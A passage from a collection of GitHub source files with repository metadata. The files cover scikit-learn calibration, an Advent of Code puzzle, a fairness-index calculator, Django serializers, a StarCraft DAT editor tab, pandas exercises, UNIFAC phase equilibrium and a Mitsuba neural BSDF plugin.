self.con.commit()","repo_name":"logopek/L-Player","sub_path":"database_rq.py","file_name":"database_rq.py","file_ext":"py","file_size_in_byte":1980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"7810903191","text":"import numpy as np\nfrom sklearn.calibration import CalibratedClassifierCV\n\n\nclass CalibratedClassifierCV(CalibratedClassifierCV):\n \"\"\"\n A subclass of `CalibratedClassifierCV` that computes ensemble feature importances and coefficients.\n\n This class provides two additional properties:\n - `feature_importances_`: an array of feature importances averaged over the base estimators in the ensemble.\n - `coef_`: an array of coefficients averaged over the base estimators in the ensemble.\n The arrays have the same shape as the corresponding arrays of the base estimator.\n \"\"\"\n\n @property\n def feature_importances_(self) -> np.ndarray:\n \"\"\"\n Get the ensemble feature importances.\n\n Returns\n -------\n np.ndarray:\n An array of feature importances averaged over the base estimators in the ensemble.\n The shape is the same as the corresponding array of the base estimator.\n \"\"\"\n\n attr = \"feature_importances_\"\n imps = [\n getattr(clf.base_estimator, attr) for clf in self.calibrated_classifiers_\n ]\n\n # Compute the mean of the feature importances over the base estimators.\n return np.mean(imps, axis=0)\n\n @property\n def coef_(self) -> np.ndarray:\n \"\"\"\n Get the ensemble coefficients.\n\n Returns\n -------\n np.ndarray:\n An array of coefficients averaged over the base estimators in the ensemble.\n The shape is the same as the corresponding array of the base estimator.\n \"\"\"\n\n attr = \"coef_\"\n coef = [\n getattr(clf.base_estimator, attr) for clf in self.calibrated_classifiers_\n ]\n\n # Compute the mean of the coefficients over the base estimators.\n\n return np.mean(coef, axis=0)\n","repo_name":"uberkinder/Robusta","sub_path":"robusta/calibration.py","file_name":"calibration.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"73493199193","text":"def flash(filename, steps = 100):\n octo_map = []\n with open(filename, 'rt', encoding = 'utf-8') as file:\n for line in file:\n octo_map.append([int(x) for x in line.strip()])\n \n count_flash = 0\n for step_num in range(steps):\n for row_i in range(len(octo_map)):\n for col_i in range(len(octo_map[0])):\n octo_map[row_i][col_i] += 1\n \n for row_i in range(len(octo_map)):\n for col_i in range(len(octo_map[0])):\n count_flash += flash_cascade(octo_map, row_i, col_i)\n print(f\"PART ONE: {count_flash}\")\n\nneighbor_list = [\n (-1, 0), # top\n (-1, 1), # top right\n (0, 1), # right\n (1, 1), # bot right\n (1, 0), # bot\n (1, -1), # bot left\n (0, -1), # left\n (-1, -1) # top left\n ]\n\ndef flash_cascade(octo_map, row_i, col_i):\n if octo_map[row_i][col_i] > 9:\n octo_map[row_i][col_i] = 0\n recur_flash_count = 0\n for dir_tuple in neighbor_list:\n row_dir, col_dir = dir_tuple\n next_row_i = row_i + row_dir\n next_col_i = col_i + col_dir\n if next_row_i >= len(octo_map) or next_row_i < 0 or next_col_i >= len(octo_map[0]) or next_col_i < 0:\n continue\n if octo_map[next_row_i][next_col_i] == 0:\n continue\n octo_map[next_row_i][next_col_i] += 1\n recur_flash_count += flash_cascade(octo_map, next_row_i, next_col_i)\n recur_flash_count += 1\n return recur_flash_count\n return 0\n\ndef pp(octo_map):\n for row_i in range(len(octo_map)):\n for col_i in range(len(octo_map[0])):\n print(octo_map[row_i][col_i], end = '')\n print()\n\ndef flash2(filename):\n octo_map = []\n with open(filename, 'rt', encoding = 'utf-8') as file:\n for line in file:\n octo_map.append([int(x) for x in line.strip()])\n \n step_num = 0\n area = len(octo_map) * len(octo_map[0])\n is_first = True\n while is_first:\n step_num += 1\n for row_i in range(len(octo_map)):\n for col_i in range(len(octo_map[0])):\n octo_map[row_i][col_i] += 1\n \n for row_i in range(len(octo_map)):\n for col_i in range(len(octo_map[0])):\n count_flash = flash_cascade(octo_map, row_i, col_i)\n if count_flash == area and is_first:\n is_first = False\n print(f\"PART TWO: {step_num}\")\n break\n if not is_first:\n break\n\nflash('sample.txt', 10)\nflash('sample.txt')\nflash('input.txt')\nflash2(\"sample.txt\")\nflash2(\"input.txt\")","repo_name":"garrett-low/leetcode","sub_path":"advent_of_code/2021/11_dumbo_octopus/11_dumbo_octopus.py","file_name":"11_dumbo_octopus.py","file_ext":"py","file_size_in_byte":2649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"21291442764","text":"import sys, os\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nFIN = sys.argv[1]\n\nep_data = np.fromregex(FIN, 'EPOCH\\s+(\\d+):(\\d+)\\s+(\\S+)\\s+.*', [\n\t('ep', np.int32), ('iter', np.int64), ('loss', np.double)])\ntest_data = np.fromregex(FIN, 'TEST\\s+(\\d+):(\\d+)\\s+(\\S+)\\s+.*', [\n\t('ep', np.int32), ('iter', np.int64), ('loss', np.double)])\n\nS = np.where( ep_data['ep'] == 0 )[0][-1].item()\n\nfig = plt.figure()\nplt.plot(ep_data['ep'][S:], ep_data['loss'][S:], c='m')\nplt.plot(test_data['ep'][S:], test_data['loss'][S:], c='b')\nplt.show()\n","repo_name":"entrity/Genomic-and-spatial-clustering","sub_path":"plot/plot_nn_training.py","file_name":"plot_nn_training.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"12245327657","text":"# TASK 2\n# The jainsall function takes a list of throughput values input by the user and performs the following calculations:\n# 1) Sum of all throughputs in the list\n# 2) Sum of squares of all throughputs in the list\n# 3) JFI = Square of sum 1 / Length of list (i.e. number of throughputs) x sum 2\n# and returns the JFI in the result variable.\n# Exceptions are handled with try-catch blocks as for task 1.\n\ndef jainsall(list):\n sum1 = 0 # Initialise sum1 to 0\n for i in list:\n sum1 = sum1+i # For-loop finds sum of all values in list\n\n sum2 = 0 # Initialise sum2 to 0\n for i in list:\n sum2 = sum2 + i**2 # For-loop finds sum of squares of all values in list\n\n result = (sum1**2)/(len(list)*sum2) # Calculates JFI based on the two sums found and the length of the list\n return result # Returns JFI\n\n\n# This if-block evaluates to false when the file is imported to another file i.e. this code will only be executed when\n# task2.py is run directly\nif '__main__' == __name__:\n throughputs = [] # Creating an empty list for user input\n i = 1 # Variable to keep track of list length\n while True: # While-loop for deciding the length of the list\n try:\n length = int(input('Enter the length of the list: ')) # Variable for the max amount of elements in list decided by user input\n except ValueError: # Prints message if ValueError occurs until user input is valid\n print('Need to input a whole number')\n else:\n #Length input is valid\n break # Breaks the loop\n\n while i <= length: # While-loop to decide the elements in the list until the list length is reached\n try:\n uinput = float(input('Enter throughput value: ')) # Variable for the elements that will be inserted into the list\n throughputs.append(uinput) # Appends the uinput variable to the list\n except ValueError: # Prints out message is ValueError occurs until user input is valid\n print('Need to input a number')\n else: # Add +1 to the value of i\n i += 1\n\n output = jainsall(throughputs) # jainsall function called with list as arg, result saved as output\n print('The JFI is ', output) # Output printed to screen","repo_name":"hakonem/DATA2410-lab-assignment-1","sub_path":"task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":2807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"23625493796","text":"from rest_framework import serializers\n\nfrom applications.abp_steps.models import RatePerformActionStepFiveAbp\n\n\nclass RatePerformActionStepFiveAbpSerializer(serializers.ModelSerializer):\n class Meta:\n model = RatePerformActionStepFiveAbp\n exclude = [\n 'updated_at',\n 'auth_state'\n ]\n\n # Update Rate Perform Action ABP\n def update(self, instance, validated_data):\n if instance.perform_action_step_five_abp != validated_data['perform_action_step_five_abp']:\n raise serializers.ValidationError(\n {\n 'perform_action_step_five_abp': 'Error, no se puede cambiar de referencia, '\n 'consulte con el administrador.'\n }\n )\n if instance.user != validated_data['user']:\n raise serializers.ValidationError(\n {\n 'user': 'Error, no se puede cambiar de usuario, '\n 'consulte con el administrador.'\n }\n )\n update_rate_perform_action_abp = super().update(instance, validated_data)\n update_rate_perform_action_abp.save()\n return update_rate_perform_action_abp\n\n\nclass RatePerformActionStepFiveAbpListSerializer(serializers.ModelSerializer):\n class Meta:\n model = RatePerformActionStepFiveAbp\n exclude = [\n 'updated_at',\n 'auth_state'\n ]\n\n def to_representation(self, instance):\n return {\n 'id': instance.id,\n 'perform_action_step_five_abp': {\n 'id': instance.perform_action_step_five_abp.id,\n 'action': instance.perform_action_step_five_abp.action\n },\n 'user': {\n 'id': instance.user.id,\n 'name': instance.user.__str__()\n },\n 'rate_perform_action': instance.rate_perform_action,\n 'active': instance.active,\n 'created_at': instance.created_at\n }\n\n\nclass RatePerformActionStepFiveAbpByActionListSerializer(serializers.Serializer):\n def to_representation(self, instance):\n return {\n 'id': instance.id,\n 'user': {\n 'id': instance.user.id,\n 'name': instance.user.__str__()\n },\n 'rate_perform_action': instance.rate_perform_action,\n 'active': instance.active,\n 'created_at': instance.created_at\n }\n","repo_name":"Andresn97/conon-test-app","sub_path":"applications/abp_steps/api/api_rate_perform_action_step_five_abp/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"39567224658","text":"\nfrom .DATUnitsTab import DATUnitsTab\nfrom .DataID import DATID\n\nfrom ..FileFormats.DAT.UnitsDAT import Unit\n\nfrom ..Utilities.UIKit import *\nfrom ..Utilities import Assets\n\nfrom math import floor, ceil\n\nclass GraphicsUnitsTab(DATUnitsTab):\n\tdef __init__(self, parent, toplevel, parent_tab):\n\t\tDATUnitsTab.__init__(self, parent, toplevel, parent_tab)\n\t\tself.toplevel = toplevel\n\t\tscrollview = ScrollView(self)\n\n\t\tself.graphicsentry = IntegerVar(0, [0,208])\n\t\tself.graphicsdd = IntVar()\n\t\tself.constructionentry = IntegerVar(0, [0,998])\n\t\tself.constructiondd = IntVar()\n\t\tself.portraitsentry = IntegerVar(0, [0,109], maxout=65535)\n\t\tself.portraitsdd = IntVar()\n\t\tself.elevationentry = IntegerVar(0, [0,19])\n\t\tself.elevationdd = IntVar()\n\t\tself.direction = IntegerVar(0, [0,255])\n\n\t\tl = LabelFrame(scrollview.content_view, text='Sprite Graphics:')\n\t\ts = Frame(l)\n\t\tdef add_dropdown(title, entry_variable, dropdown_variable, hint_name, none_value=None, values=[], jump_dat_id=None):\n\t\t\tf = Frame(s)\n\t\t\tLabel(f, text=title + ':', width=13, anchor=E).pack(side=LEFT)\n\t\t\tEntry(f, textvariable=entry_variable, font=Font.fixed(), width=5).pack(side=LEFT)\n\t\t\tLabel(f, text='=').pack(side=LEFT)\n\t\t\tdropdown = DropDown(f, dropdown_variable, values, entry_variable, width=30, none_value=none_value)\n\t\t\tdropdown.pack(side=LEFT, fill=X, expand=1, padx=2)\n\t\t\tif jump_dat_id:\n\t\t\t\tButton(f, text='Jump ->', command=lambda: self.jump(jump_dat_id, dropdown_variable.get())).pack(side=LEFT)\n\t\t\tself.tip(f, title, hint_name)\n\t\t\tf.pack(fill=X)\n\t\t\treturn dropdown\n\t\tself.graphics_ddw = add_dropdown('Graphics', self.graphicsentry, self.graphicsdd, 'UnitGfx', jump_dat_id=DATID.flingy)\n\t\tself.construction_ddw = add_dropdown('Construction', self.constructionentry, self.constructiondd, 'UnitConstruction', jump_dat_id=DATID.images)\n\t\tself.portraits_ddw = add_dropdown('Portraits', self.portraitsentry, self.portraitsdd, 'UnitPortrait', none_value=65535, jump_dat_id=DATID.portdata)\n\t\tself.elevation_ddw = add_dropdown('Elevation', self.elevationentry, self.elevationdd, 'UnitElevationLevel', values=Assets.data_cache(Assets.DataReference.ElevationLevels))\n\t\tf = Frame(s)\n\t\tLabel(f, text='Direction:', width=13, anchor=E).pack(side=LEFT)\n\t\tEntry(f, textvariable=self.direction, font=Font.fixed(), width=3).pack(side=LEFT)\n\t\tself.tip(f, 'Direction', 'UnitDirection')\n\t\tf.pack(fill=X)\n\t\ts.pack(fill=BOTH, padx=5, pady=5)\n\t\tl.pack(fill=X)\n\n\t\tself.left = IntegerVar(0, [0,65535])\n\t\tself.right = IntegerVar(0, [0,65535])\n\t\tself.up = IntegerVar(0, [0,65535])\n\t\tself.down = IntegerVar(0, [0,65535])\n\t\tself.horizontal = IntegerVar(0, [0,65535])\n\t\tself.vertical = IntegerVar(0, [0,65535])\n\t\tself.previewing = None\n\t\tself.showpreview = IntVar()\n\t\tself.showpreview.set(self.toplevel.data_context.settings.preview.unit.get('show', False))\n\t\tself.showplace = IntVar()\n\t\tself.showplace.set(self.toplevel.data_context.settings.preview.unit.get('show_placement', False))\n\t\tself.showdims = IntVar()\n\t\tself.showdims.set(self.toplevel.data_context.settings.preview.unit.get('show_dimensions', False))\n\t\tself.show_addon_placement = IntVar()\n\t\tself.show_addon_placement.set(self.toplevel.data_context.settings.preview.unit.get('show_addon_placement', False))\n\t\tself.addon_parent_id = IntegerVar(0, [0,228])\n\t\tself.addon_parent_id.set(self.toplevel.data_context.settings.preview.unit.get('addon_parent_unit_id', 106))\n\n\t\tbottom = Frame(scrollview.content_view)\n\t\tleft = Frame(bottom)\n\t\tl = LabelFrame(left, text='Unit Dimensions:')\n\t\ts = Frame(l)\n\t\tdims = [\n\t\t\t('Left', self.left),\n\t\t\t('Right', self.right),\n\t\t\t('Up', self.up),\n\t\t\t('Down', self.down),\n\t\t]\n\t\tfor t,v in dims:\n\t\t\tf = Frame(s)\n\t\t\tLabel(f, text='%s:' % t, width=13, anchor=E).pack(side=LEFT)\n\t\t\tEntry(f, textvariable=v, font=Font.fixed(), width=5).pack(side=LEFT)\n\t\t\tself.tip(f, t + ' Dimension', 'UnitDim' + t)\n\t\t\tf.pack(fill=X)\n\t\ts.pack(padx=5, pady=5)\n\t\tl.pack(side=TOP, fill=X)\n\t\tl = LabelFrame(left, text='Addon Position:')\n\t\ts = Frame(l)\n\t\tf = Frame(s)\n\t\tLabel(f, text='Horizontal:', width=13, anchor=E).pack(side=LEFT)\n\t\tself.horizontalw = Entry(f, textvariable=self.horizontal, font=Font.fixed(), width=5)\n\t\tself.horizontalw.pack(side=LEFT)\n\t\tself.tip(f, 'Addons Horizontal Position', 'UnitAddPosX')\n\t\tf.pack(fill=X)\n\t\tf = Frame(s)\n\t\tLabel(f, text='Vertical:', width=13, anchor=E).pack(side=LEFT)\n\t\tself.verticalw = Entry(f, textvariable=self.vertical, font=Font.fixed(), width=5)\n\t\tself.verticalw.pack(side=LEFT)\n\t\tself.tip(f, 'Addons Vertical Position', 'UnitAddPosY')\n\t\tf.pack(fill=X)\n\t\ts.pack(padx=5, pady=5)\n\t\tl.pack(side=TOP, fill=X)\n\t\tleft.pack(side=LEFT, fill=BOTH, expand=1)\n\t\tl = LabelFrame(bottom, text='Preview:')\n\t\ts = Frame(l)\n\t\tself.preview = Canvas(s, width=257, height=257, background='#000000', theme_tag='preview')\n\t\tself.preview.pack(side=TOP)\n\t\tself.preview.create_rectangle(0, 0, 0, 0, outline='#00FF00', tags='size')\n\t\tself.preview.create_rectangle(0, 0, 0, 0, outline='#FF0000', tags='place')\n\t\tself.preview.create_rectangle(0, 0, 0, 0, outline='#FFFF00', tags='addon_parent_size')\n\t\tCheckbutton(s, text='Show Preview', variable=self.showpreview, command=self.drawpreview).pack(side=TOP)\n\t\to = Frame(s)\n\t\tCheckbutton(o, text='Show StarEdit Placement Box (Red)', variable=self.showplace, command=self.drawboxes).pack(side=LEFT)\n\t\tCheckbutton(o, text='Show Dimensions Box (Green)', variable=self.showdims, command=self.drawboxes).pack(side=LEFT)\n\t\to.pack(side=TOP)\n\t\ta = Frame(s)\n\t\tself.show_addon_placement_checkbox = Checkbutton(a, text='Show Addon Placement (Yellow) with parent building:', variable=self.show_addon_placement, command=self.drawpreview)\n\t\tself.show_addon_placement_checkbox.pack(side=LEFT)\n\t\tself.addon_parent_id_entry = Entry(a, textvariable=self.addon_parent_id, font=Font.fixed(), width=3)\n\t\tself.addon_parent_id_entry.pack(side=LEFT)\n\t\ta.pack(side=BOTTOM)\n\t\ts.pack()\n\t\tl.pack()\n\t\tbottom.pack(fill=X)\n\n\t\tscrollview.pack(fill=BOTH, expand=1)\n\n\t\tfor v in (self.graphicsentry, self.horizontal, self.vertical, self.addon_parent_id):\n\t\t\tv.trace('w', lambda *_: self.drawpreview())\n\t\tfor v in (self.left, self.up, self.right, self.down):\n\t\t\tv.trace('w', lambda *_: self.drawboxes())\n\n\tdef copy(self):\n\t\ttext = self.toplevel.data_context.units.dat.export_entry(self.parent_tab.id, export_properties=[\n\t\t\tUnit.Property.graphics,\n\t\t\tUnit.Property.construction_animation,\n\t\t\tUnit.Property.unit_direction,\n\t\t\tUnit.Property.elevation_level,\n\t\t\tUnit.Property.unit_extents,\n\t\t\tUnit.Property.portrait,\n\t\t\tUnit.Property.addon_position,\n\t\t])\n\t\tself.clipboard_set(text)\n\n\tdef updated_pointer_entries(self, ids):\n\t\tif DATID.flingy in ids:\n\t\t\tself.graphics_ddw.setentries(self.toplevel.data_context.flingy.names)\n\t\tif DATID.images in ids:\n\t\t\tself.construction_ddw.setentries(self.toplevel.data_context.images.names)\n\t\tif DATID.portdata in ids:\n\t\t\tself.portraits_ddw.setentries(self.toplevel.data_context.portraits.names + ('None',))\n\n\t\tif self.toplevel.data_context.settings.settings.get('reference_limits', True):\n\t\t\tif DATID.flingy in ids:\n\t\t\t\tself.graphicsentry.range[1] = self.toplevel.data_context.flingy.entry_count() - 1\n\t\t\tif DATID.images in ids:\n\t\t\t\tself.constructionentry.range[1] = self.toplevel.data_context.images.entry_count() - 1\n\t\t\tif DATID.portdata in ids:\n\t\t\t\tself.portraitsentry.range[1] = self.toplevel.data_context.portraits.entry_count()\n\t\telse:\n\t\t\tself.graphicsentry.range[1] = 65535 if self.toplevel.data_context.units.is_expanded() else 255\n\t\t\tself.constructionentry.range[1] = 4294967295\n\t\t\tself.portraitsentry.range[1] = 65535\n\n\tdef drawboxes(self):\n\t\tif self.showpreview.get() and self.showplace.get():\n\t\t\tentry = self.toplevel.data_context.units.dat.get_entry(self.parent_tab.id)\n\t\t\tw = entry.staredit_placement_size.width / 2.0\n\t\t\th = entry.staredit_placement_size.height / 2.0\n\t\t\tself.preview.coords('place', 130-floor(w), 130-floor(h), 129+ceil(w), 129+ceil(h))\n\t\t\tself.preview.lift('place')\n\t\telse:\n\t\t\tself.preview.coords('place', 0, 0, 0, 0)\n\t\tif self.showpreview.get() and self.showdims.get():\n\t\t\tself.preview.coords('size', 130-self.left.get(), 130-self.up.get(), 130+self.right.get(), 130+self.down.get())\n\t\t\tself.preview.lift('size')\n\t\telse:\n\t\t\tself.preview.coords('size', 0, 0, 0 ,0)\n\n\tdef draw_image(self, image_id, tag, x=130, y=130):\n\t\tframe = self.toplevel.data_context.get_image_frame(image_id)\n\t\tif frame:\n\t\t\tself.preview.create_image(x, y, image=frame[0], tags=tag)\n\n\tdef draw_addon_preview(self):\n\t\tself.preview.delete('addon_parent')\n\t\taddon_preview = self.showpreview.get()\n\t\taddon_preview = addon_preview and self.show_addon_placement_checkbox['state'] == NORMAL\n\t\taddon_preview = addon_preview and self.show_addon_placement.get()\n\t\taddon_preview = addon_preview and (self.horizontal.get() or self.vertical.get())\n\t\tif addon_preview:\n\t\t\tentry = self.toplevel.data_context.units.dat.get_entry(self.parent_tab.id)\n\t\t\tw = entry.staredit_placement_size.width\n\t\t\th = entry.staredit_placement_size.height\n\t\t\tparent_id = self.addon_parent_id.get()\n\t\t\tparent_entry = self.toplevel.data_context.units.dat.get_entry(parent_id)\n\t\t\tparent_w = parent_entry.staredit_placement_size.width\n\t\t\tparent_h = parent_entry.staredit_placement_size.height\n\t\t\tx = 129 - w/2 - self.horizontal.get()\n\t\t\ty = 129 - h/2 - self.vertical.get()\n\t\t\tparent_flingy = self.toplevel.data_context.flingy.dat.get_entry(parent_entry.graphics)\n\t\t\tparent_sprite = self.toplevel.data_context.sprites.dat.get_entry(parent_flingy.sprite)\n\t\t\tself.draw_image(parent_sprite.image, 'addon_parent', x=x+parent_w/2, y=y+parent_h/2)\n\t\t\tself.preview.coords('addon_parent_size', x, y, x+parent_w, y+parent_h)\n\t\t\tself.preview.lift('addon_parent_size')\n\t\telse:\n\t\t\tself.preview.coords('addon_parent_size', 0, 0, 0 ,0)\n\n\tdef drawpreview(self):\n\t\tself.draw_addon_preview()\n\t\tself.preview.delete('unit')\n\t\tif self.showpreview.get():\n\t\t\tflingy_id = self.graphicsentry.get()\n\t\t\tflingy = self.toplevel.data_context.flingy.dat.get_entry(flingy_id)\n\t\t\tsprite = self.toplevel.data_context.sprites.dat.get_entry(flingy.sprite)\n\t\t\tself.draw_image(sprite.image, 'unit')\n\t\tself.drawboxes()\n\n\tdef load_data(self, entry):\n\t\tself.graphicsentry.set(entry.graphics)\n\t\tself.constructionentry.set(entry.construction_animation)\n\t\tself.direction.set(entry.unit_direction)\n\t\tself.elevationentry.set(entry.elevation_level)\n\t\tself.left.set(entry.unit_extents.left)\n\t\tself.up.set(entry.unit_extents.up)\n\t\tself.right.set(entry.unit_extents.right)\n\t\tself.down.set(entry.unit_extents.down)\n\t\tself.portraitsentry.set(entry.portrait)\n\n\t\thas_addon_positon = entry.addon_position != None\n\t\tself.horizontal.set(entry.addon_position.x if has_addon_positon else 0)\n\t\tself.vertical.set(entry.addon_position.y if has_addon_positon else 0)\n\t\tstate = (DISABLED,NORMAL)[has_addon_positon]\n\t\tself.horizontalw['state'] = state\n\t\tself.verticalw['state'] = state\n\t\tself.show_addon_placement_checkbox['state'] = state\n\t\tself.addon_parent_id_entry['state'] = state\n\t\tself.drawpreview()\n\n\tdef save_data(self, entry):\n\t\tself.toplevel.data_context.settings.preview.unit.show = not not self.showpreview.get()\n\t\tself.toplevel.data_context.settings.preview.unit.show_placement = not not self.showplace.get()\n\t\tself.toplevel.data_context.settings.preview.unit.show_dimensions = not not self.showdims.get()\n\t\tself.toplevel.data_context.settings.preview.unit.show_addon_placement = not not self.show_addon_placement.get()\n\t\tself.toplevel.data_context.settings.preview.unit.addon_parent_id = self.addon_parent_id.get()\n\n\t\tedited = False\n\t\tif self.graphicsentry.get() != entry.graphics:\n\t\t\tentry.graphics = self.graphicsentry.get()\n\t\t\tedited = True\n\t\tif self.constructionentry.get() != entry.construction_animation:\n\t\t\tentry.construction_animation = self.constructionentry.get()\n\t\t\tedited = True\n\t\tif self.direction.get() != entry.unit_direction:\n\t\t\tentry.unit_direction = self.direction.get()\n\t\t\tedited = True\n\t\tif self.elevationentry.get() != entry.elevation_level:\n\t\t\tentry.elevation_level = self.elevationentry.get()\n\t\t\tedited = True\n\t\tif self.left.get() != entry.unit_extents.left:\n\t\t\tentry.unit_extents.left = self.left.get()\n\t\t\tedited = True\n\t\tif self.up.get() != entry.unit_extents.up:\n\t\t\tentry.unit_extents.up = self.up.get()\n\t\t\tedited = True\n\t\tif self.right.get() != entry.unit_extents.right:\n\t\t\tentry.unit_extents.right = self.right.get()\n\t\t\tedited = True\n\t\tif self.down.get() != entry.unit_extents.down:\n\t\t\tentry.unit_extents.down = self.down.get()\n\t\t\tedited = True\n\t\tif self.portraitsentry.get() != entry.portrait:\n\t\t\tentry.portrait = self.portraitsentry.get()\n\t\t\tedited = True\n\n\t\tif entry.addon_position != None:\n\t\t\tif self.horizontal.get() != entry.addon_position.x:\n\t\t\t\tentry.addon_position.x = self.horizontal.get()\n\t\t\t\tedited = True\n\t\t\tif self.vertical.get() != entry.addon_position.y:\n\t\t\t\tentry.addon_position.y = self.vertical.get()\n\t\t\t\tedited = True\n\n\t\treturn edited\n","repo_name":"poiuyqwert/PyMS","sub_path":"PyMS/PyDAT/GraphicsUnitsTab.py","file_name":"GraphicsUnitsTab.py","file_ext":"py","file_size_in_byte":12770,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"5"} +{"seq_id":"7957346700","text":"import codecademylib\nimport pandas as pd\n\n# Load the data into a dataframe\ninventory = pd.read_csv('inventory.csv')\n\n# Select the first ten rows belonging to Staten Island\nstaten_island = inventory.head(10)\n\n# Select the products that are sold at Staten Island\nproduct_request = staten_island['product_description']\n\n# Select all rows where location is equal to Brooklyn and product_type is equal to seeds\nseed_request = inventory[(inventory.location == 'Brooklyn') &\n (inventory.product_type == 'seeds')]\n# Add a column callled inventory which is true if quantity is greater than 0 and False ortherwise\ninventory['in_stock'] = inventory.apply(lambda\n row: True if row.quantity > 0 else False, axis = 1)\n\n# Create a column called total_value that is equal to price multiplied by quantity\ninventory['total_value'] = inventory.apply(lambda\n row: row.quantity * row.price,\n axis = 1)\n\n\n# Create a new column in inventory called full_description\ncombine_lambda = lambda row: '{} - {}'.format(row.product_type, row.product_description)\ninventory['full_description'] = inventory.apply(combine_lambda, axis = 1)\nprint(inventory.head(10))\n","repo_name":"hualcosa/Pandas","sub_path":"petal_power_store/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"32106687204","text":"import pytherm.lle as lq\nimport pytherm.activity.unifac as uf\n\nphase1 = {\n 'hexane': 1,\n 'acetonitrile': 0\n}\nphase2 = {\n 'hexane': 0,\n 'acetonitrile': 1\n}\nsubs_dict = {\n \"hexane\": \"2*CH3 4*CH2\",\n \"acetonitrile\": \"1*CH3CN\",\n}\n\nsubs = uf.datasets.SubstancesUNIFAC()\nsubs.get_from_dict(subs_dict)\nam = uf.UNIFAC(dataset=uf.datasets.DOR, substances=subs, dict_mode=True)\n\nlq.find_lle(phase1, phase2, am, T=298)\n","repo_name":"PsiXYZ/pytherm","sub_path":"examples/unifac lle.py","file_name":"unifac lle.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"5"} +{"seq_id":"15245078464","text":"import torch\nimport torch.nn.functional as NF\n\nimport mitsuba\nmitsuba.set_variant('cuda_ad_rgb')\n\nimport os\nimport sys\nsys.path.append('..')\nfrom model.brdf import NGPBRDF\nfrom model.emitter import SLFEmitter\n\nclass FIPTBSDF(mitsuba.BSDF):\n def __init__(self, props):\n mitsuba.BSDF.__init__(self, props)\n # default device for mitsuba\n device = torch.device(0)\n\n # load BRDF and emission mask\n mask = torch.load(os.path.join(props['emitter_path'],'vslf.npz'),map_location='cpu')\n state_dict = torch.load(props['brdf_path'],map_location='cpu')['state_dict']\n weight = {}\n for k,v in state_dict.items():\n if 'material.' in k:\n weight[k.replace('material.','')]=v\n material_net = NGPBRDF(mask['voxel_min'],mask['voxel_max'])\n material_net.load_state_dict(weight)\n material_net.to(device)\n for p in material_net.parameters():\n p.requires_grad=False\n self.material_net = material_net\n self.is_emitter = torch.load(os.path.join(props['emitter_path'],'emitter.pth'))['is_emitter'].to(device)\n \n # specify flags\n reflection_flags = mitsuba.BSDFFlags.SpatiallyVarying|mitsuba.BSDFFlags.DiffuseReflection|mitsuba.BSDFFlags.FrontSide | mitsuba.BSDFFlags.BackSide\n self.m_components = [reflection_flags]\n self.m_flags = reflection_flags\n\n def sample(self, ctx, si, sample1, sample2, active):\n wi = si.to_world(si.wi).torch()\n normal = si.n.torch()\n position = si.p.torch()\n triangle_idx = mitsuba.Int(si.prim_index).torch().long()\n \n mat = self.material_net(position)\n wo,pdf,brdf_weight = self.material_net.sample_brdf(\n sample1.torch().reshape(-1),sample2.torch(),\n wi,normal,mat\n )\n brdf_weight[self.is_emitter[triangle_idx]] = 0\n \n pdf_mi = mitsuba.Float(pdf.squeeze(-1))\n wo_mi = mitsuba.Vector3f(wo[...,0],wo[...,1],wo[...,2])\n wo_mi = si.to_local(wo_mi)\n value_mi = mitsuba.Vector3f(brdf_weight[...,0],brdf_weight[...,1],brdf_weight[...,2])\n \n bs = mitsuba.BSDFSample3f()\n bs.pdf = pdf_mi\n bs.sampled_component = mitsuba.UInt32(0)\n bs.sampled_type = mitsuba.UInt32(+self.m_flags)\n bs.wo = wo_mi\n bs.eta = 1.0\n\n return (bs,value_mi)\n\n def eval(self, ctx, si, wo, active):\n wo = si.to_world(wo).torch()\n wi = si.to_world(si.wi).torch()\n triangle_idx = mitsuba.Int(si.prim_index).torch().long()\n \n normal = si.n.torch()\n position = si.p.torch()\n \n mat = self.material_net(position)\n \n brdf,_ = self.material_net.eval_brdf(wo,wi,normal,mat)\n brdf[self.is_emitter[triangle_idx]]=0\n brdf = mitsuba.Vector3f(brdf[...,0],brdf[...,1],brdf[...,2])\n \n return brdf\n\n\n def pdf(self, ctx, si, wo,active):\n wo = si.to_world(wo).torch()\n wi = si.to_world(si.wi).torch()\n \n normal = si.n.torch()\n position = si.p.torch()\n \n mat = self.material_net(position)\n _,pdf = self.material_net.eval_brdf(wo,wi,normal,mat)\n pdf = mitsuba.Float(pdf.squeeze(-1))\n return pdf\n\n\n def eval_pdf(self, ctx, si, wo, active=True):\n wo = si.to_world(wo).torch()\n wi = si.to_world(si.wi).torch()\n triangle_idx = mitsuba.Int(si.prim_index).torch().long()\n \n normal = si.n.torch()\n position = si.p.torch()\n \n mat = self.material_net(position)\n \n brdf,pdf = self.material_net.eval_brdf(wo,wi,normal,mat)\n brdf[self.is_emitter[triangle_idx]] = 0\n brdf = mitsuba.Vector3f(brdf[...,0],brdf[...,1],brdf[...,2])\n pdf = mitsuba.Float(pdf.squeeze(-1))\n \n return brdf,pdf\n def to_string(self,):\n return 'FIPTBSDF'\n\n\nmitsuba.register_bsdf(\"fipt\", lambda props: FIPTBSDF(props))","repo_name":"lwwu2/fipt","sub_path":"demo/fipt_bsdf.py","file_name":"fipt_bsdf.py","file_ext":"py","file_size_in_byte":3968,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"5"} +{"seq_id":"33586095831","text":"import 